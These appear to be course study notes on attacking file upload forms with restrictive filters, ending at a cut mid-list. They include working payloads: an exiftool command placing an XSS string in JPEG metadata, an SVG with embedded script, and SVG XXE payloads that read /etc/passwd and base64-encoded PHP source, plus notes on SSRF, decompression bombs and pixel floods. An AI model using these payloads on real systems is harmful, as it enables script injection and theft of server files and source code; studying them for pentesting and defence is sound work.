8. Limited file uploads

So far we've been dealing with filter bypasses for arbitrary file upload While file upload forms with weak filters can be exploited to upload arbitrary files - some upload forms have secure filters that may not be exploitable with aforementioned techniques

Even dealing with limited file upload forms we may still be able to perform attacks

Certain file types svg, html, xml, even some img/ doc files may allow us to introduce new vulns by uploading malicious versions of these files


XSS limited file upload vulnerability

Many file types may introduce a stored XSS vuln by uploading maliciously crafted versions of them.

Most basic example:

Second example of XSS:

exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg

exiftool HTB.jpg

...SNIP...

Comment                         :  "><img src=1 onerror=alert(window.origin)>

We can see comment param updated to our xss payload. when image metadata is displayed, this payload can be triggered and the js code will be executed to carry the xss attack.

If we change image MIME-type to text/html some webapps may show it as an html document instead of an image - in which case, xss payload would be triggered even if metadata wasn't directly displayed

XSS attacks can also be carried out using SVG images. Scalable Vector Graphics (SVG) are XML-based images.

for example:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>

the above would execute the xss payload whenever the image is displayed.


XXE with Limited file uploads

Similar attacks can lead to XXE.

SVG images can also include malicious XML data to leak source code of the webapp / other internal docs within the server.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

Once this is uploaded + viewed - the xml document would get processed and we would yield the info of /etc/passwd printed on the page or shown in page source.

If webapp allows upload of XML documents then the same payload can carry the same attack when the xml data is displayed on the webapp

While reading system files like /etc/passwd can be useful for server enumeration it can have an even more significant benefit for a pentest - we can read the web apps source files!

Using XXE to read source code in PHP webapps use the below:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>

Once SVG img displayed we get b64 encoded content of index.php, able to be decoded to read source code.

Using XML data is not unique to SVG images - can also be utilized by many types of documents like PDFs, WORD documents, and PowerPoint documents among many others.

SSRF is also achievable using these file types.


DoS attacks with limited file upload

file upload vulns may lead to DoS attacks For example using XXE payloads to achieve a doS (discussed in webattack module)

Able to utilize a decompression bomb with file types that use data compression like ZIP archives

Able to utilize a Pixel Flood attack with some image files that utilize image compression like JPG/PNG

Few other methods to dos a server: